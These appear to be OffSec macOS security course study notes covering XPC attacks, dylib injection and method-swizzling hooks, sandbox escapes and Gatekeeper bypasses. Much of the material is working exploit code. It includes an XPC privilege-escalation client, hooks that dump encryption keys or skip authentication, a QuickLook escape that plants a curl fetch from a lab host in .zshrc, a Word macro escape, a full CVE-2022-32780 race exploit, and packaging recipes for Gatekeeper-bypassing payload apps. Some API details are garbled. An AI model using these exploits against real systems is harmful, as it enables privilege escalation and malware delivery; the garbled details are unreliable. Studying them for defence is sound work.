Receiving XPC Messages (Server Side)

Create listener for LaunchDaemon XPC service:

xpc_connection_t listener = xpc_connection_create_mach_service(
 "com.example.service",
 NULL,
 XPC_CONNECTION_MACH_SERVICE_LISTENER
);

Why: XPC_CONNECTION_MACH_SERVICE_LISTENER flag indicates server-side listener mode.

Set listener event handler:

xpc_connection_set_event_handler(listener, ^(xpc_object_t event) {
 xpc_connection_t peer = (xpc_connection_t) event;
 handle_peer_connection(peer);
});

xpc_connection_resume(listener);

Why: Event handler receives xpc_connection_t objects; each represents new client connection.

Handle individual peer connection:

void handle_peer_connection(xpc_connection_t connection) {
 xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
  xpc_type_t type = xpc_get_type(event);

  if (type == XPC_TYPE_DICTIONARY) {
   // Process message
   xpc_object_t reply = xpc_dictionary_create_reply(event);
   xpc_dictionary_set_string(reply, "response", "success");
   xpc_connection_send_message(
    xpc_dictionary_get_remote_connection(event),
    reply
   );
   xpc_release(reply);
  }
  else if (type == XPC_TYPE_ERROR) {
   // Handle error
  }
 });

 xpc_connection_resume(connection);
}

Why: Each peer gets separate event handler; xpc_dictionary_get_remote_connection() gets sender connection for reply.

Extract message data:

xpc_object_t dict = event;  // Assume message is dictionary
const char *cmd = xpc_dictionary_get_string(dict, "command");
int64_t param = xpc_dictionary_get_int64(dict, "parameter");

Why: Type-specific getters validate and extract values; type mismatch returns default value.

XPC Attack Surface

Common Vulnerabilities:

  1. Missing validation - Service doesn't verify caller identity or message contents
  2. Insufficient privilege check - No entitlement/privilege verification before privileged operation
  3. Memory corruption - Buffer overflows in message parsing
  4. Privilege escalation - Root service vulnerable to non-root caller

Exploitation Approach:

Enumerate available XPC services:

# LaunchDaemon services (global):
ls /Library/LaunchDaemons | grep -i xpc
cat /Library/LaunchDaemons/*.plist | grep -A2 MachServices

# LaunchAgent services (per-user):
ls /Library/LaunchAgents | grep -i xpc

Why: Identify attack targets; root-level services highest priority.

Reverse engineer target XPC service:

# Locate binary
strings /path/to/service | grep "com.example.service"  # Confirm service name
# Disassemble with Hopper/IDA
# Look for: xpc_dictionary_get_*, permission checks, privileged operations

Why: Understanding message format and validation logic essential for exploitation.

Build exploit client connecting to XPC service:

xpc_connection_t conn = xpc_connection_create_mach_service("com.example.service", NULL, 0);
xpc_connection_set_event_handler(conn, handler);
xpc_connection_resume(conn);

// Send crafted message
xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(msg, "command", "privileged_operation");
xpc_connection_send_message(conn, msg);

Why: Exploit client mimics legitimate caller; if service lacks validation, command succeeds.

Test privilege escalation:

# Run exploit as unprivileged user
./exploit
# If XPC service runs as root and lacks authorization checks: privilege escalation

Why: Root XPC service without caller verification = trivial privilege escalation.


Chapter 10: Function Hooking on macOS

Function Interposing

Function interposing intercepts function calls by replacing function pointers at load time via dyld. Works with DYLD_INSERT_LIBRARIES to inject hook dylib.

Requirements:

  1. Create dylib with __interpose section in DATA segment
  2. Section contains tuples of: (replacement_function_ptr, original_function_ptr)
  3. Use dyld macro DYLD_INTERPOSE to create tuples
  4. Inject via DYLD_INSERT_LIBRARIES

Limitation: Doesn't work on restricted binaries (hardened runtime, library validation, etc.).

Interposing Example: printf

Include dyld interposing header:

#include <mach-o/dyld-interposing.h>

Why: Provides DYLD_INTERPOSE macro and documentation.

Create replacement function:

#include <stdio.h>

// Original printf signature for type safety
typedef int (*printf_t)(const char *fmt, ...);

// Replacement printf - can add logging, filtering, etc.
int my_printf(const char *fmt, ...)
{
 va_list args;
 va_start(args, fmt);

 // Log the call
 fprintf(stderr, "[HOOKED] printf called with format: %s\n", fmt);

 // Call original printf
 extern int __real_printf(const char *fmt, ...);
 int result = __real_printf(fmt, args);

 va_end(args);
 return result;
}

Why: Wrapper allows pre/post-call actions; can filter or modify arguments.

Create interpose section with macro:

DYLD_INTERPOSE(my_printf, printf)

Why: Macro creates __interpose section entry mapping printf → my_printf at load time.

Compile as dylib:

gcc -dynamiclib interpose.c -o interpose.dylib

Inject into target:

DYLD_INSERT_LIBRARIES=interpose.dylib ./target_app

Verify interposing in compiled dylib:

otool -s __DATA __interpose interpose.dylib

Why: Shows __interpose section contains function pointer pairs.

Method Swizzling for Objective-C

Method swizzling replaces Objective-C method implementations at runtime by exchanging IMP (function pointer) in method table.

Advantages over interposing:

  • Works on restricted binaries
  • Can hook Objective-C-only code
  • Runtime flexibility

Get method reference:

SEL selector = @selector(targetMethod);
Method method = class_getInstanceMethod([TargetClass class], selector);

Why: Method encapsulates selector + IMP; needed for swizzling.

Create replacement implementation:

void replacement_impl(id self, SEL selector, ...)
{
 NSLog(@"[HOOKED] targetMethod called");
 // Call original via msg_send or saved IMP
}

Why: Must match original signature; first params always (self, selector).

Exchange implementations:

Method original = class_getInstanceMethod([TargetClass class], @selector(original));
Method swizzled = class_getInstanceMethod([TargetClass class], @selector(swizzled));

method_exchangeImplementations(original, swizzled);

Why: Exchanges IMP pointers in method table; both methods now point to opposite implementations.

Save original IMP before swizzling:

static IMP originalIMP = nil;

// In hook setup:
originalIMP = method_getImplementation(method);

// In replacement:
originalIMP(self, selector);  // Call original

Why: Allows invoking original even after swizzling.

Load hook via dylib and constructor:

__attribute__((constructor))
void init()
{
 // Perform method swizzling
 swizzle_method();
}

Why: Constructor runs when dylib loads; timing before Objective-C classes loaded.

Inject hook dylib:

gcc -dynamiclib -framework Foundation hook.m -o hook.dylib
DYLD_INSERT_LIBRARIES=hook.dylib /path/to/app

Common Hooking Patterns

Monitoring function calls:

// Log every call
int hooked_function(int arg)
{
 printf("[CALL] function(arg=%d)\n", arg);
 return original_function(arg);
}

Why: Useful for understanding application behavior; reverse engineering aid.

Filtering/modifying return values:

// Simulate success for failed operations
int hooked_operation()
{
 int result = original_operation();
 if (result != 0) {
  printf("[MODIFIED] returning success instead of %d\n", result);
  return 0;
 }
 return result;
}

Why: Bypass security checks or error handling.

Capturing sensitive data:

// Log encryption keys as they're used
void hooked_encrypt(const char *key, const char *data)
{
 fprintf(stderr, "[KEY] %s\n[DATA] %s\n", key, data);
 original_encrypt(key, data);
}

Why: Extract secrets from memory during function execution.

Redirecting function flow:

// Replace actual implementation entirely
int hooked_auth_check()
{
 // Skip real check; always return authorized
 return 1;
}

Why: Bypass authentication, licensing, or security checks.

Hooking Limitations

Restrictions on Hardened Runtime:

  • DYLD_INSERT_LIBRARIES ignored
  • Method swizzling may fail if code signing prevents modification
  • Interposing dylib must be signed same as target

Virtual Method Thunks:

  • Some functions use indirect calls (thunks)
  • Hooking thunk doesn't work; must hook final destination
  • Requires reverse engineering call chain

Symbol Stripping:

  • Stripped binaries have symbol table removed
  • Must hook by address offset instead of symbol name
  • More fragile across versions

Key Takeaways

Injection Techniques

  1. DYLD_INSERT_LIBRARIES - Simple but restricted by code signing
  2. Dylib Hijacking - Exploits path resolution; bypasses some restrictions
  3. Mach IPC - Requires task port access; powerful but difficult
  4. XPC Exploitation - Attack surface in misconfigured services

Restriction Bypass

  • SUID/SGID blocks environment variables
  • __RESTRICT segment prevents injection
  • Hardened runtime + library validation require certificate match
  • AMFI policy enforces restrictions at kernel level

Hooking Methods

  • Function interposing via DYLD_INSERT_LIBRARIES
  • Objective-C method swizzling (runtime-based)
  • Both require understanding target binary structure
  • Hardened runtime limits practical hooking options

Key Files and Paths

  • /System/Library/LaunchDaemons/ - System XPC services
  • /Library/LaunchDaemons/ - User-installed privileged services
  • /System/Library/Extensions/AppleMobileFileIntegrity.kext/ - AMFI policy module
  • /usr/lib/dyld - Dynamic linker (dyld binary)
  • Mach-O headers: /usr/include/mach-o/

OffSec macOS Security Research - Part 3 Study Notes

Chapter 11: The macOS Sandbox

Overview

The macOS Sandbox is Apple's isolation mechanism to prevent compromised applications from accessing other applications' data and limiting damage. Originally called "Seatbelt" in OS X 10.5 (Leopard), it was renamed Sandbox in OS X 10.7 (Lion). It handles security enforcement including System Integrity Protection (SIP). The Sandbox uses Kernel-level enforcement and Sandbox Profile Language (SBPL) to define per-application restrictions.

Sandbox Fundamentals

Sandbox Architecture:

  • Enforced at kernel level through Mandatory Access Control (MAC) kernel extension
  • Applications enter sandbox via user mode calls
  • Profiles define allow/deny rules for resources
  • Child processes inherit parent's sandbox restrictions

Key Files and Locations:

  • /usr/share/sandbox/quicklook-satellite-legacy.sb - QuickLook plugin sandbox profile
  • /System/Library/Sandbox/Profiles/application.sb - Application sandbox profile
  • ~/Library/QuickLook/ - User QuickLook plugin location
  • /Library/QuickLook/ - System QuickLook plugin location
  • /System/Library/QuickLook/ - Built-in plugins

Sandbox Profile Language (SBPL)

Basic Profile Structure:

(version 1)
(deny default)
(allow file-read* file-write*)
(allow mach-lookup)
(allow network-outbound (to unix-socket))

Key Concepts:

  • (deny default) - Allowlist approach: only explicitly allowed operations work
  • (allow ...) - Grants specific permissions
  • (require-all) and (require-any) - Condition combinations
  • (regex #"pattern") - File path matching with regular expressions
  • (literal "/path") - Exact path matching
  • (vnode-type REGULAR-FILE) - Match regular files only

Common Permissions:

  • file-read* / file-write* - File system access
  • mach-lookup - Inter-process communication
  • network-outbound - Network communication
  • process-fork / process-exec - Process operations
  • iokit-open - Hardware access
  • signal - Signal handling
  • sysctl* - System control access

Sandbox Escape Strategies

Three Main Approaches:

  1. Kernel vulnerability exploitation - Gain immediate kernel privileges
  2. Drop unsandboxed binary/script - Execute via non-sandboxed process
  3. Sandbox implementation vulnerability - Exploit flaw in sandbox logic

Second Strategy Details:

  • Drop PLIST in ~/Library/LaunchAgents or /Library/LaunchDaemons for launchd execution
  • Find non-sandboxed Mach service and communicate via IPC

Case Study: QuickLook Plugin Sandbox Escape

QuickLook Framework:

  • Allows file preview by pressing Spacebar in Finder
  • Uses plugins to generate previews for different file types
  • Runs in ExternalQuickLookSatellite process context

Vulnerability: The quicklook-satellite-legacy.sb profile contains:

(allow file-read* file-write*)

This overly permissive rule allows writing anywhere, enabling sandbox escape.

Key Commands:

Check loaded QuickLook plugins:

qlmanage -m | grep PluginName

Why: Verify plugin is recognized by the system.

Monitor sandbox logs:

log stream | grep Sandbox

Why: Confirm sandbox restrictions are being enforced.

Monitor QuickLook logs:

log stream | grep offsec

Why: Verify custom plugin code execution.

Exploitation Steps:

  1. Create QuickLook plugin in Xcode with custom code
  2. Place plugin in ~/Library/QuickLook/
  3. Modify GeneratePreviewForUrl.m or GenerateThumbnailForUrl.m
  4. Use permissive file-write to escape:
// Simple test - verify sandboxed
system("curl -o /Users/offsec/a.txt http://192.168.48.3");

// Escape via .zshrc
NSString* bypass = @"curl -o /Users/offsec/a.txt http://192.168.48.3";
NSString *bypass_dest = @"/Users/offsec/.zshrc";
[bypass writeToFile:bypass_dest atomically:YES encoding:NSUTF8StringEncoding error:nil];

Why: Terminal executes ~/.zshrc outside sandbox, achieving escape.

Verification:

  • QuickLook plugins loaded: qlmanage -m
  • File creation from Terminal: Confirms sandbox escape

Case Study: Microsoft Word Sandbox Escape

Vulnerability: Microsoft Word used com.apple.security.temporary-exception.sbpl entitlement (undocumented "Big Red Button") with overly permissive SBPL rules.

Vulnerable Profile:

(allow file-read* file-write*
 (require-any
 (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
 )
 )

This allows writing any file starting with "~$" pattern.

Verification - View Application Entitlements:

codesign -dv --entitlements :- /Applications/Microsoft\ Word.app

Why: See exact sandbox profile applied to app.

Exploitation: Use VBA macro with popen to create specially-named file:

Private Declare PtrSafe Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As LongPtr

Sub test()
 r = popen("echo 11 > /Users/offsec/2.txt", "r")
 r = popen("echo 11 > /Users/offsec/~$2.txt", "r")
End Sub

Why: ~$2.txt matches regex, bypasses sandbox restrictions.

Sandbox Escape via LaunchAgent: Drop PLIST as ~$escape.plist in ~/Library/LaunchAgents/ with command execution. When user logs out/in, launchd loads it outside sandbox.

Patch Applied: Microsoft added explicit deny rule:

(deny file-write*
 (subpath (string-append (param "_HOME") "/Library/Application Scripts"))
 (subpath (string-append (param "_HOME") "/Library/LaunchAgents"))
)

Why: Explicitly blocks LaunchAgent exploitation path.

Case Study: CVE-2022-32780 - Disk Arbitration Race Condition

Disk Arbitration Service Overview:

Check DA launchd configuration:

cat /System/Library/LaunchDaemons/com.apple.diskarbitrationd.plist

Why: Understand DA daemon setup and Mach service details.

Verify DA accessibility in sandbox:

rg diskarbitrationd /System/Library/Sandbox/Profiles/application.sb

Why: Confirm if sandboxed apps can access DA service.

Key DA Code Flow:

  • _DAServerSessionQueueRequest() - Validates sandbox permissions via sandbox_check_by_audit_token()
  • __DAMountWithArgumentsCallbackStage1() - Calls DAFileSystemMountWithArguments()
  • DAFileSystemMountWithArguments() - Executes /sbin/mount with user-supplied mountpoint

Vulnerability - TOCTOU Race Condition: Sandbox check occurs early, but actual mount happens later. Symlink swap between check and use allows mounting to disallowed locations.

Debugging the Race:

Create disk image:

hdiutil create /tmp/tmp.dmg -size 2m

Why: Prepare device for mounting tests.

Attach disk without mounting:

hdiutil attach /tmp/tmp.dmg -nomount

Why: Create /dev/ device for DA operations.

Create test sandbox profile:

(version 1)
(allow default)
(deny file-mount (literal "/private/tmp/proof"))

Why: Restrict mounting to one location to test vulnerability.

Run sandboxed shell:

sandbox-exec -f proof.sb /bin/zsh

Why: Test mount restrictions.

Test mount operations:

mount_apfs /dev/disk4s1 /tmp/proof          # Should fail
mount_apfs /dev/disk4s1 /tmp/permitted      # Should succeed

Why: Verify sandbox profile enforcement.

Debug with lldb:

Find process:

ps -A | grep diskarbitrationd

Why: Get PID for debugging.

Attach debugger:

sudo lldb --attach-pid 99

Why: Attach to DA daemon for runtime debugging.

Set breakpoint on sandbox check:

(lldb) b sandbox_check_by_audit_token
(lldb) c

Why: Break at security check to perform symlink swap.

Mount from another shell (will hang):

hdiutil mount /dev/disk4s1 -mountpoint /tmp/permitted

Why: Trigger DA mount request while debugger pauses.

Resume after swapping symlink:

(lldb) finish
(lldb) c
(lldb) detach

Why: Allow mount to proceed with symlink target.

Verify mount location:

mount

Why: Confirm race condition won - mounted to disallowed location.

Exploitation:

Create Terminal preferences DMG with modified command:

mkdir Preferences
cp /Users/offsec/Library/Preferences/com.apple.Terminal.plist Preferences
hdiutil create -volname Preferences -srcfolder Preferences preferences.dmg
base64 preferences.dmg

Why: Prepare payload for disk that will be mounted to ~/Library/Preferences/.

Exploit code steps:

  1. Drop base64-encoded DMG:
system("echo [base64] | base64 -D > poc.dmg");

Why: Store DMG payload from sandboxed app.

  1. Mount DMG (invokes diskarbitrationd):
system("open poc.dmg");
sleep(5);

Why: Open triggers DA mount, sleep allows disk attachment.

  1. Unmount via DA API:
#import <DiskArbitration/DiskArbitration.h>
#include <unistd.h>

DASessionRef session = DASessionCreate(kCFAllocatorDefault);
CFURLRef url = (__bridge CFURLRef)[NSURL fileURLWithPath:@"/Volumes/Preferences"];
DADiskRef disk = DADiskCreateFromVolumePath(kCFAllocatorDefault, session, url);
DADiskUnmount(disk, kDADiskMountOptionDefault, NULL, NULL);

Why: Get device unmounted while still attached at /dev/.

  1. Create symlink swap race condition in thread:
#include <pthread.h>

void race_link(void *arg) {
 while(1) {
  system("mv disk disk_symlink_tmp");
  system("mv disk_dir_tmp disk");
  system("mv disk disk_dir_tmp");
  system("mv disk_symlink_tmp disk");
 }
}

pthread_t thread;
pthread_create(&thread, NULL, race_link, NULL);

Why: Continuously swap directory with symlink to ~/Library/Preferences/.

  1. Mount callback to clean up failed mounts:
void MountCallback(DADiskRef disk, DADissenterRef dissenter, void *context) {
 system("umount disk 2>/dev/null");
}

Why: Unmount if race fails to allow retry.

  1. Loop mounting until success:
CFURLRef mount_url = (__bridge CFURLRef)[NSURL fileURLWithPath:@"disk"];
while(1) {
 DADiskMount(disk, mount_url, kDADiskMountOptionDefault, MountCallback, NULL);
 // Check mounted volumes periodically
 NSArray *urls = [[NSFileManager defaultManager] mountedVolumeURLsIncludingResourceValuesForKeys:keys options:0];
 for (NSURL *url in urls) {
  if ([url.absoluteString containsString:@"Preferences"]) {
   found = true;
  }
 }
 if(found) break;
}
pthread_cancel(thread);

Why: Repeatedly attempt mount until symlink swap succeeds.

  1. Launch Terminal with modified preferences:
system("open /System/Applications/Utilities/Terminal.app");

Why: Terminal loads ~/Library/Preferences/com.apple.Terminal.plist with our command.

List mounted volumes:

diskutil list
mount

Why: Verify successful mounting to privileged location.

Patch Applied (macOS 12.4, DA 367.120.4):

Mount command changed to include -k flag:

DACommandExecute( command,
 kDACommandExecuteOptionDefault,
 userUID,
 userGID,
 __DAFileSystemCallback,
 context,
 CFSTR( "-t" ),
 DAFileSystemGetKind( filesystem ),
 CFSTR( "-k" ),  // NEW - Don't follow symlinks
 CFSTR( "-o" ),
 options,
 devicePath,
 mountpointPath,
 NULL );

The -k mount flag prevents following symlinks, blocking the race condition exploit.


Chapter 12: Bypassing TCC/Privacy

Overview

TCC (Transparency, Consent, and Control) is Apple's privacy framework managing access to sensitive resources. Applications must request user consent or demonstrate user intent before accessing protected data. The framework has multiple bypass vulnerabilities.

TCC Internals

TCC Mechanism:

  • "Consent" - User approves access via prompt, requires app restart
  • "Intent" - User demonstrates access need (drag-drop), immediate access
  • Managed by tccd daemon process
  • Enforced via system extensions and API checks

TCC Database Location:

~/Library/Application Support/CrashReporter/DiagnosticMessagesHistory.db
/var/db/TCC/TCC.db

Why: Where access grants are stored.

View TCC Permissions (requires admin):

sqlite3 /var/db/TCC/TCC.db "SELECT * FROM access;"

Why: Inspect TCC access control list.

Key Protected Resources:

  • Camera (kTCCServiceCamera)
  • Microphone (kTCCServiceMicrophone)
  • Full Disk Access (kTCCServiceSystemPolicyAllFiles)
  • Photos (kTCCServicePhotos)
  • Contacts (kTCCServiceAddressBook)
  • Calendar (kTCCServiceCalendar)
  • Screen Recording (kTCCServiceScreenCapture)

TCC Framework APIs

Check TCC Access:

#include <Privacy/Privacy.h>
SecTCCAccess *access = [SecTCCAccess accessForService:kTCCServiceCalendar];
BOOL granted = [access accessGrantedForBundleID:bundleID];

Why: Programmatically verify TCC permissions before accessing resource.

Request TCC Access:

AVCaptureDevice *camera = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];

Why: Triggers TCC prompt for camera access when resource accessed.


Chapter 13: GateKeeper Internals

Overview

GateKeeper is Apple's first line of defense against malicious code execution. It's actually a combination of three subsystems working together: File Quarantine, XProtect, and GateKeeper. The system prevents untrusted code from executing on the system.

File Quarantine

Purpose: Prevent automatic execution of downloaded files by prompting user confirmation.

Quarantine Attribute: The com.apple.quarantine extended attribute marks downloaded files:

xattr -l downloaded_file
# Output includes: com.apple.quarantine

Why: Tracks file origin (downloaded) to enforce checks on launch.

View Quarantine Information:

xattr -p com.apple.quarantine filename

Why: See quarantine metadata (timestamp, browser info).

Remove Quarantine (user action):

xattr -d com.apple.quarantine filename

Why: User can manually bypass quarantine if they choose.

Quarantine API Usage:

#include <Security/Security.h>
LSQuarantineRef q = LSQuarantineCreate();
LSQuarantineSetProperties(q, url, kLSQuarantineTypeWebDownload);

Why: Programmatically apply quarantine to files.

File Quarantine Events:

  • Applied by: Safari, Mail, other download mechanisms
  • Checked by: launchd when app executes
  • Enforced via kernel extension

XProtect (Signature-Based Scanning)

XProtect Engine:

  • Signature-based malware detection
  • Scans files at execution time
  • Maintained by Apple (updated regularly)

XProtect Database:

cat /System/Library/CoreServices/XProtect.bundle/Contents/Resources/XProtect.plist

Why: View signature definitions (if readable).

XProtect Checks:

  • Runs on file execution
  • Compares against known malware signatures
  • Blocks execution if match found

GateKeeper (Signature Verification)

GateKeeper Purpose: Verify code signatures and developer credentials before execution.

Code Signature Verification:

codesign -v /path/to/app

Why: Check if application has valid code signature.

View Entitlements:

codesign -d --entitlements :- /path/to/app

Why: See what privileges app is requesting.

Ad-hoc Signing (for testing):

codesign -s - /path/to/app

Why: Sign app without developer certificate (requires ad-hoc identity).

Spctl (Security Policy Tool):

spctl -a -v /path/to/app

Why: Test app against security policies.

GateKeeper Status:

spctl --status
# Output: assessments enabled/disabled

Why: Check if GateKeeper enforcement is active.

Disable GateKeeper (admin required):

sudo spctl --master-disable

Why: Disable code signature checks (not recommended).

Re-enable GateKeeper:

sudo spctl --master-enable

Why: Re-enable protection after testing.

Gatekeeper Operation Flow

  1. User downloads app (Safari adds quarantine attribute)
  2. User attempts to launch app
  3. launchd checks quarantine attribute
  4. XProtect scans for known malware signatures
  5. GateKeeper verifies code signature
  6. If all checks pass, app launches
  7. If checks fail, user sees warning prompt

Key System Components

tccd (TCC Daemon):

  • Process: /usr/libexec/tccd
  • Manages privacy/security approvals
  • Evaluates TCC policies

launchd:

  • Process manager
  • Executes apps and scripts on schedule
  • Enforces sandbox and quarantine

syspolicyd:

  • Policy evaluation daemon
  • Logs GateKeeper checks
  • Monitored via: log stream --process syspolicyd

xprotectd:

  • XProtect scanning daemon
  • Signature-based malware detection

Chapter 14: Bypassing GateKeeper

Overview

Two major CVEs allow complete GateKeeper bypass, preventing quarantine attribute application and code signature checks entirely.

CVE-2022-42821: AppleDouble ACL Vulnerability

Core Vulnerability: Archive extraction via AppleDouble files can apply ACL entries that prevent extended attribute writing, blocking the com.apple.quarantine attribute application.

Extended Attribute Permissions: The writeextattr ACL permission controls extended attribute writes:

touch testfile
chmod +a "everyone deny writeextattr" testfile
xattr -w someattr somevalue testfile
# Error: Permission denied

Why: ACL prevents system from adding quarantine attribute.

AppleDouble Format:

  • Special file format for cross-filesystem file transfer
  • Separate "._" prefixed file stores metadata
  • copyfile handles ACL preservation via AppleDouble

copyfile ACL Handling: The copyfile command/library unpacks AppleDouble files and applies stored ACL entries. The vulnerable code path:

  1. copyfile_internal()copyfile_unpack()
  2. Searches for com.apple.acl.text extended attribute
  3. Calls acl_from_text() to parse ACL
  4. Applies via fchmodx_np()

ACL Text Format:

!#acl 1
group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr

Exploitation Steps:

Create file with restrictive ACL:

touch testfile
chmod +a "everyone deny write,writeattr,writeextattr" testfile

Why: This ACL will be copied to extracted files, preventing quarantine attribute.

Extract ACL as text using C program:

#include <sys/types.h>
#include <sys/acl.h>
#include <stdlib.h>
#include <stdio.h>

int main() {
 const char *path = "./testfile";
 acl_t acl = acl_get_link_np(path, ACL_TYPE_EXTENDED);
 if (acl != NULL) {
  const char *desc = acl_to_text(acl, NULL);
  printf("%s\n", desc);
  acl_free ((void*)desc);
 }
 acl_free (acl);
 return 0;
}

Why: Convert ACL to text for embedding in extended attributes.

Compile and run:

gcc printacl.c -o printacl
./printacl
# Output: !#acl 1
# group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr

Why: Get ACL text to embed in file.

Create file with ACL extended attribute (using different name to avoid stripping):

touch somefile
xattr -w com.apple.acl.texx "$(./printacl)" ./somefile

Why: Store ACL text as xattr with temporary name.

Create AppleDouble via ditto:

ditto -c -k ./somefile ./somefile.zip
rm ./somefile
unzip ./somefile.zip
xxd ._somefile  # Verify AppleDouble structure

Why: ditto creates AppleDouble file (._somefile) with ACL extended attribute.

Patch attribute name in AppleDouble (texx → text):

perl -pi -e 's/texx/text/g' ._somefile
xxd ._somefile  # Verify change

Why: Change attribute name so copyfile recognizes and applies it.

Create ZIP for distribution:

zip dl.zip somefile ._somefile
python3 -m http.server

Why: Package for download (UploadedTo web server.

Automated Approach:

Create ACL'd file directly:

touch testfile
chmod +a "everyone deny write,writeattr,writeextattr" testfile
ditto -ck testfile dl2.zip

Why: Faster automation - ditto creates AppleDouble directly with ACL.

Verify extraction:

rm testfile
unzip dl2.zip
xxd ._testfile  # Verify com.apple.acl.text attribute

Why: Confirm ACL properly stored in AppleDouble.

Exploitation to Bypass GateKeeper:

Create malicious application bundle:

mkdir -p "app/Bypass.app/Contents/MacOS"
cat << EOF > script.sh
#!/bin/zsh
osascript -e "display dialog \"We bypassed GateKeeper\""
EOF
chmod +x script.sh
mv script.sh app/Bypass.app/Contents/MacOS/Bypass

Why: Create executable app that will run when launched.

Ad-hoc sign (required for M1):

codesign -s - app/Bypass.app

Why: Apps must be signed; ad-hoc signing allows testing.

Apply restrictive ACL:

chmod +a "everyone deny write,writeattr,writeextattr" app/Bypass.app

Why: ACL will prevent quarantine attribute application.

Create distribution package:

ditto -c -k app Bypass.zip
python3 -m http.server

Why: Package for download and distribution.

User Downloads and Launches:

  1. Download Bypass.zip via Safari
  2. Safari auto-extracts
  3. AppleDouble applies ACL to Bypass.app
  4. User launches Bypass.app
  5. No GateKeeper prompt (quarantine missing)
  6. App executes

Verification After Download:

ls -le@ Downloads/
# Shows: group:everyone deny write,writeattr,writeextattr

Why: Confirm ACL applied and no quarantine attribute present.

Alternative via Apple Archives:

aa archive -d app -o Bypass.aar

Why: Apple Archive format also preserves ACLs.

Patch (macOS 13): Fixed by validating ACL sources and rejecting overly permissive entries.

Core Vulnerability: LaunchServices can be confused by symbolic links, causing it to check the wrong application bundle, bypassing GateKeeper for the downloaded app.

Vulnerability Mechanism:

  1. LaunchServices resolves application path
  2. Symlink to system application confuses resolution
  3. GateKeeper checks system app (no quarantine)
  4. Actual execution of downloaded app occurs
  5. syspolicyd never involved

Exploitation via Automator Application:

Create automation workflow:

# In Automator:
# 1. Select Application document type
# 2. Add "Run Shell Script" action
# 3. Enter script: echo "Hello" > /tmp/automator.txt
# 4. Save as "MyApp"

Why: Automator creates executable app with embedded script.

Inspect application structure:

ls -l MyApp.app/Contents/MacOS/
# Shows: Automator Application Stub executable

Why: Stub application location for exploit.

Find system stub location:

find /System/Library -name "*Stub*" 2>/dev/null
# Or: file MyApp.app/Contents/MacOS/...
# nm MyApp.app/Contents/MacOS/... | grep symbols
# grep -r OpenDefaultComponent /System/Library 2>/dev/null

Why: Locate system stub to symlink to.

Replace stub with symlink:

rm MyApp.app/Contents/MacOS/Automator\ Application\ Stub
ln -s "/System/Library/CoreServices/Automator Application Stub.app/Contents/MacOS/Automator Application Stub" \
  MyApp.app/Contents/MacOS/Automator\ Application\ Stub

Why: Symlink causes LaunchServices to resolve to system app instead.

Package and distribute:

zip -y -r MyApp.zip MyApp.app
python3 -m http.server

Why: -y flag disregards symlinks, preserving the link in archive.

User Downloads and Launches:

  1. Download MyApp.zip
  2. Safari auto-extracts
  3. User launches MyApp.app
  4. LaunchServices follows symlink
  5. Resolves to system app (no quarantine)
  6. No GateKeeper check (syspolicyd not invoked)
  7. MyApp script executes via system stub

Verification No GateKeeper Check:

log stream --info --debug --process syspolicyd
# Launch app - no logs appear

Why: syspolicyd not invoked means GateKeeper bypassed.

Exploitation via Script Editor:

Create AppleScript application:

do shell script "/bin/zsh -c echo aaaa > /tmp/script.txt"

Why: Simple script to verify execution.

Save as Application in Script Editor: Why: Creates standalone app with applet stub.

Locate applet stub:

ls MyScript.app/Contents/MacOS/
# Shows: applet executable
strings MyScript.app/Contents/MacOS/applet
nm MyScript.app/Contents/MacOS/applet
grep -r OpenDefaultComponent /System/Library 2>/dev/null
# Result: AppletStub at Carbon.framework path

Why: Find system applet stub to link to.

Replace stub with symlink:

rm MyScript.app/Contents/MacOS/applet
ln -s "/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/OpenScripting.framework/Versions/A/Resources/AppletStub" \
  MyScript.app/Contents/MacOS/applet

Why: Same LaunchServices confusion exploitation.

Package and distribute:

zip -y -r MyScript.zip MyScript.app
python3 -m http.server

Why: Package with symlink preserved for download.

User Downloads and Launches:

  1. Download MyScript.zip
  2. Safari auto-extracts
  3. Launch MyScript.app
  4. Symlink confuses LaunchServices
  5. GateKeeper checks system stub (trusted)
  6. Script executes via system applet

Patch (Monterey 12.1): Fixed by improving LaunchServices symlink resolution and GateKeeper path verification.

GateKeeper Bypass Techniques Summary

Both CVEs Exploit Same Root Cause: Quarantine attribute (com.apple.quarantine) never applied to extracted files, so GateKeeper has no indication file was downloaded.

Why Quarantine Fails:

  1. CVE-2022-42821: ACL prevents xattr writes
  2. CVE-2021-30990: LaunchServices checks wrong file

Test Code Signature vs Quarantine:

codesign -v /path/to/app  # Code signature check
xattr -l /path/to/app      # Quarantine status

Why: Understand which protection is bypassed vs code signing.


Appendix: Key Commands Reference

Sandbox Analysis

# List sandbox profiles
ls /System/Library/Sandbox/Profiles/

# Check app sandbox entitlements
codesign -d --entitlements :- /Applications/App.app

# Monitor sandbox violations
log stream | grep Sandbox

# Test custom profile
sandbox-exec -f profile.sb /bin/zsh

TCC/Privacy

# View TCC database
sqlite3 /var/db/TCC/TCC.db "SELECT * FROM access;"

# Reset TCC permissions
tccutil reset All

# Request specific TCC access
# [Trigger via framework API, no direct command]

Code Signing & GateKeeper

# Verify code signature
codesign -v /path/to/app

# View entitlements
codesign -d --entitlements :- /path/to/app

# Ad-hoc sign
codesign -s - /path/to/app

# Test security policy
spctl -a -v /path/to/app

# Check GateKeeper status
spctl --status

# Disable/enable GateKeeper
sudo spctl --master-disable
sudo spctl --master-enable

File Quarantine

# View quarantine attribute
xattr -l filename

# Remove quarantine
xattr -d com.apple.quarantine filename

# Check all extended attributes
xattr -l /path/to/app

ACL Management

# View file ACLs
ls -le@ filename

# Add ACL entry
chmod +a "everyone deny write,writeattr,writeextattr" filename

# Get ACL as text
acl_to_text (via C API)

# Remove ACL
chmod -a "entry" filename

Disk/Mount Operations

# Create disk image
hdiutil create imagefile.dmg -size 2m

# Attach without mounting
hdiutil attach imagefile.dmg -nomount

# Mount device
mount_apfs /dev/diskXsY /mountpoint

# Unmount
umount /mountpoint

# List mounted volumes
mount
diskutil list

Debugging

# Attach lldb to process
sudo lldb --attach-pid PID

# Set breakpoint
(lldb) b function_name

# Continue execution
(lldb) c

